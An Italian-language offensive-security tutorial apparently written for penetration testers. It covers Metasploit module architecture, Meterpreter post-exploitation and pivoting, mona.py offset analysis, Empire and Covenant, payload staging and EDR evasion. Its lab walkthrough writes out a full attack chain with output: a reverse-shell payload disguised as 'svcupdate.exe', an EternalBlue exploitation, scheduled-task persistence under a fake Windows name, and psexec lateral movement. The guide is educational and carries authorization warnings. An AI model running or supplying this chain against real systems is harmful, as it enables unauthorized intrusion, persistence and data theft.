Framework di Sfruttamento e Consegna Controllata dei Payload
Metasploit Framework: Architettura ed Ecosistema dei Moduli
Il Metasploit Framework rimane la pietra angolare dell'exploitation controllata, non semplicemente come una raccolta di exploit ma come piattaforma di sviluppo basata su Ruby con convenzioni architetturali rigorose. Comprenderne gli aspetti interni distingue i professionisti deliberati dai mero operatori di strumenti opportunistici.
Nella sua essenza, Metasploit organizza le funzionalità in moduli: moduli exploit, moduli ausiliari, moduli post, moduli payload, moduli encoder e moduli nop. Ogni modulo exploit eredita da Msf::Exploit::Remote, che a sua volta discende da Msf::Exploit e infine da Msf::Module. Questa gerarchia determina le capacità mixin disponibili—Tcp, HttpClient, Smb, Rdp—che standardizzano la gestione dei socket, la negoziazione dei protocolli e l'interazione con i target.
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Example Vulnerable Service',
'Description' => %q{...},
'Author' => ['Researcher Name'],
'References' => [
['CVE', '2023-XXXXX'],
['URL', 'https://advisory.example.com']
],
'Payload' => { 'Space' => 1024 },
'Targets' => [
['Automatic Targeting', {}],
['Specific Version X.Y', { 'Ret' => 0xdeadbeef }]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2023-01-15'
))
end
def exploit
connect
print_status("Targeting #{target.name}")
# staging, badchar avoidance, and delivery
handler
disconnect
end
end
Il mixin Msf::Exploit::Remote::Tcp fornisce connect, disconnect, sock e l'integrazione con Rex::Socket::Tcp. L'hash Payload definisce i vincoli: spazio disponibile, caratteri proibiti ('BadChars'), e requisiti di aggiustamento dello stack. I target incapsulano indirizzi di ritorno, offset o euristiche di versionamento, abilitando exploit multi-versione attraverso la selezione a runtime.
I payload si dividono in singoli, stager e stage. I singoli eseguono funzionalità autocontenute; gli stager stabiliscono listener leggeri in attesa della consegna dello stage; gli stage forniscono agenti full-featured come Meterpreter. Gli encoder trasformano i byte del payload per evitare caratteri proibiti o il rilevamento semplice tramite firme—x86/shikata_ga_nai applica la codifica XOR dinamica con decoder polimorfici—ma la loro efficacia contro difese moderne richiede un esame critico.
Meterpreter: Architettura Post-Exploitation
Meterpreter opera come un'iniezione riflessiva di DLL in memoria, senza mai toccare il disco nella sua configurazione predefinita. La sua architettura separa il trasporto dalla funzionalità attraverso il caricamento di estensioni. L'estensione stdapi fornisce filesystem, processi, rete e interazione di sistema:
meterpreter > sysinfo
Computer : LAB-WEB01
OS : Windows Server 2019 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : CORP
Logged On Users : 3
meterpreter > getpid
Current pid: 4128
meterpreter > ps | grep lsass
688 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsass.exe
L'estensione extapi aggiunge capacità di enumerazione finestre, manipolazione clipboard e query Active Directory. Entrambe si caricano su richiesta tramite iniezione riflessiva di DLL, richiedendo la risoluzione delle funzioni attraverso il canale di trasporto stabilito—inizialmente TCP, HTTP, HTTPS o named pipe, successivamente estensibile tramite comandi transport.
Il pivoting di rete dimostra il valore operativo di Meterpreter. Il comando route stabilisce l'inoltro a livello kernel attraverso la sessione compromessa:
meterpreter > ipconfig
...
IPv4 Address : 10.0.1.15
...
IPv4 Address : 10.50.0.5 [Internal segment]
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(handler) > route add 10.50.0.0 255.255.255.0 1
[*] Route added
msf6 exploit(handler) > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(tcp) > set RHOSTS 10.50.0.10-50
msf6 auxiliary(tcp) > set PORTS 22,445,3389,5985
msf6 auxiliary(tcp) > run
Il port forwarding (portfwd) e il proxy SOCKS (auxiliary/server/socks_proxy) estendono questa capacità, creando tunnel crittografati attraverso il trasporto Meterpreter. Considerazione critica di sicurezza: ogni pivot concentra la fiducia attraverso una singola sessione; la morte della sessione collassa tutti gli accessi dipendenti.
Il keylogging (keyscan_start, keyscan_dump) e la cattura screenshot (screenshot) illustrano il potenziale invasivo di Meterpreter. Queste capacità richiedono autorizzazione etica esplicita—operare senza consenso documentato viola le leggi sulla frode informatica indipendentemente dalla sofisticazione tecnica.
Sviluppo Exploit: mona.py e Analisi dei Pattern
Prima dell'exploitation tramite framework viene l'analisi delle vulnerabilità. L'estensione mona.py per Immunity Debugger (compatibile con WinDbg attraverso port di mona.py) automatizza la generazione di pattern ciclici, il calcolo degli offset e la scoperta di gadget ROP.
La creazione di pattern identifica offset di crash esatti senza calcolo manuale:
!mona pattern_create 3000
!mona findmsp
Il pattern_create genera una sequenza di De Bruijn non ripetitiva; findmsp localizza il pattern al momento del crash, calcolando sia la sovrascrittura diretta di EIP che le posizioni del buffer controllate. L'equivalente pattern_offset in Metasploit (tools/exploit/pattern_offset.rb) esegue calcoli identici:
$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39654138
[*] Exact match at offset 1036
Questa precisione di offset separa gli exploit affidabili dai crash probabilistici. Lo sviluppo moderno di exploit si estende oltre il calcolo degli offset a tecniche di bypass SafeSEH, ASLR e DEP—i comandi !mona rop e !mona jop di mona forniscono assistenza, sebbene gli ambienti contemporanei impieghino sempre più Control Flow Guard (CFG) e Arbitrary Code Guard (ACG).
Empire e Covenant: Tradecraft .NET e COM
Dove Metasploit enfatizza la consegna degli exploit, Empire e Covenant specializzano il tradecraft .NET post-compromissione attraverso meccanismi di esecuzione nativi di Windows.
Empire (PowerShell Empire, ora fork Starkiller/BC-Security) sfrutta il caricamento riflessivo di assembly .NET all'interno di runspace PowerShell, evitando il rilevamento basato su disco. Gli agenti comunicano attraverso listener HTTP/S, Dropbox o OneDrive. La sua architettura modulare—simile a Metasploit ma centrata su PowerShell—fornisce raccolta credenziali (mimikatz), iniezione processi e movimento laterale attraverso WMI e WinRM.
Covenant implementa un framework C# di command-and-control utilizzando capacità .NET native. I Grunt (agenti) si compilano come assembly .NET con template di implant configurabili. Covenant enfatizza l'interoperabilità COM di .NET per l'iniezione e l'esecuzione di processi, sfruttando componenti Windows legittimi (CLSID instantiation, ICLRMetaHost) piuttosto che sequenze di API sospette.
Entrambi i framework illustrano l'evoluzione del living-off-the-land: piuttosto che importare strumenti estranei, armano le capacità installate. Il rilevamento richiede analisi comportamentale—compilazione .JIT anomala, creazione inaspettata di runspace PowerShell, pattern di attivazione COM insoliti—piuttosto che matching di firme su file.
Staged vs Stageless: Criteri di Selezione
La selezione dell'architettura del payload comporta conseguenze operative:
| Caratteristica | Staged | Stageless |
|---|---|---|
| Dimensione | Stager iniziale ~300-500 byte | Payload completo, spesso 50KB+ |
| Resilienza di rete | Possibili tentativi multipli di recupero | Trasmissione singola; il fallimento perde tutto |
| Firma di rete | Recupero stager visibile; stage crittografato | Payload completo potenzialmente identificabile |
| Impronta in memoria | Cresce post-staging | Costante; impegno iniziale maggiore |
| Esposizione AV/EDR | Stager spesso generico; stage può attivare trigger | Singolo blob analizzabile in transito |
Euristiche di selezione: I payload staged si adattano a reti inaffidabili e contesti di iniezione con vincoli di dimensione (buffer overflow con spazio limitato). I payload stageless eccellono in ambienti stabili e ad alta larghezza di banda dove i difensori di rete monitorano pattern di recupero dello staging. Le operazioni moderne favoriscono sempre più la consegna stageless con configurazione di trasporto embedded, accettando una dimensione iniziale maggiore per ridurre il traffico di rete.
Esempio Pratico: Exploitation in Laboratorio Controllato
Il seguente dimostra il flusso operativo completo in un ambiente di laboratorio isolato contro sistemi intenzionalmente vulnerabili. Non eseguire mai su reti di produzione senza autorizzazione esplicita.
Ambiente: Attaccante (Kali, 10.0.0.5); Target (Windows Server 2008 R2, 10.0.0.10, vulnerabile a CVE-2017-0144); Segmento interno (10.50.0.0/24).
Generazione payload con msfvenom—specifica deliberata di architettura e formato:
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.0.0.5 LPORT=443 \
-f exe -o /var/www/html/svcupdate.exe \
-e x64/xor \
--platform windows -a x64
L'encoder -e x64/xor applica la trasformazione XOR con chiave dinamica; contro EDR moderni, questo fornisce evasione minima. L'output serve a scopo dimostrativo—le operazioni reali richiedono packing personalizzato, unhooking API o syscall indiretti.
Configurazione handler ed exploitation:
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 10.0.0.10
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > set LHOST 10.0.0.5
msf6 exploit(ms17_010_eternalblue) > set LPORT 443
msf6 exploit(ms17_010_eternalblue) > exploit -z
[*] Started reverse TCP handler on 10.0.0.5:443
[*] 10.0.0.10:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.0.0.10:445 - Host is likely VULNERABLE to MS17-010!
[*] 10.0.0.10:445 - Connecting to target for exploitation.
[+] 10.0.0.10:445 - Connection established for exploitation.
[+] 10.0.0.10:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.0.0.10:445 - CORE raw buffer dump (42 bytes)
...
[*] Sending stage (201798 bytes) to 10.0.0.10
[*] Meterpreter session 1 opened (10.0.0.5:443 -> 10.0.0.10:49218) at 2024-01-15 09:23:14 -0500
[*] Session 1 created in the background.
Post-exploitation: verifica privilegi, persistenza e pivoting:
msf6 exploit(ms17_010_eternalblue) > sessions -i 1
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > ps | grep explorer
2892 explorer.exe x64 1 CORP\labuser C:\Windows\explorer.exe
meterpreter > migrate 2892
[*] Migrating from 4128 to 2892...
[*] Migration completed successfully.
meterpreter > shell
C:\Windows\system32> schtasks /create /tn "WindowsSvcUpdate" /tr "C:\Users\Public\svcupdate.exe" /sc onstart /ru SYSTEM /rl HIGHEST
SUCCESS: The scheduled task "WindowsSvcUpdate" has been created.
C:\Windows\system32> exit
meterpreter > run post/windows/gather/enum_patches
[+] KB4012212 is missing
[+] KB4012215 is missing
meterpreter > ipconfig
...
IPv4 Address : 10.50.0.5
Subnet Mask : 255.255.255.0
meterpreter > background
msf6 exploit(handler) > route add 10.50.0.0 255.255.255.0 1
msf6 exploit(handler) > use exploit/windows/smb/psexec
msf6 exploit(psexec) > set RHOSTS 10.50.0.10
msf6 exploit(psexec) > set SMBUser administrator
msf6 exploit(psexec) > set SMBPass [hash or credential]
msf6 exploit(psexec) > set PAYLOAD windows/x64/meterpreter/bind_tcp
msf6 exploit(psexec) > exploit
Evasione Anti-Virus: Limitazioni e Realtà Moderna
La codifica basata su firme—shikata_ga_nai, loop XOR personalizzati, packer semplici—fallisce contro gli endpoint detection and response (EDR) contemporanei. Le difese moderne operano su telemetria comportamentale: pattern di allocazione memoria, sequenze di chiamate API, anomalie di creazione thread e sottoscrizioni ETW (Event Tracing for Windows).
La codifica trasforma l'aspetto del payload senza alterarne il comportamento in esecuzione. Un stager Meterpreter alloca comunque heap eseguibile, crea socket con caratteristiche sospette ed esegue caricamento riflessivo di DLL—azioni visibili attraverso l'instrumentazione indipendentemente dall'offuscamento a livello di byte.
L'evasione efficace richiede disciplina operazionale: processi parent legittimi, destinazioni di rete attese, orari di lavoro normali e uso minimo di strumenti. Le misure tecniche—hashing API, syscall indiretti, module stomping, iniezione thread pool—complementano ma non possono sostituire la legittimità comportamentale. La corsa agli armamenti favorisce i difensori con volume di telemetria; gli attaccanti hanno successo attraverso pazienza e ricognizione, non sofisticazione della codifica.
I professionisti devono interiorizzare questa limitazione. L'exploitation tramite framework fornisce comprensione fondazionale; il penetration testing in produzione richiede strati aggiuntivi di tradecraft che questa guida introduce ma non sviluppa completamente.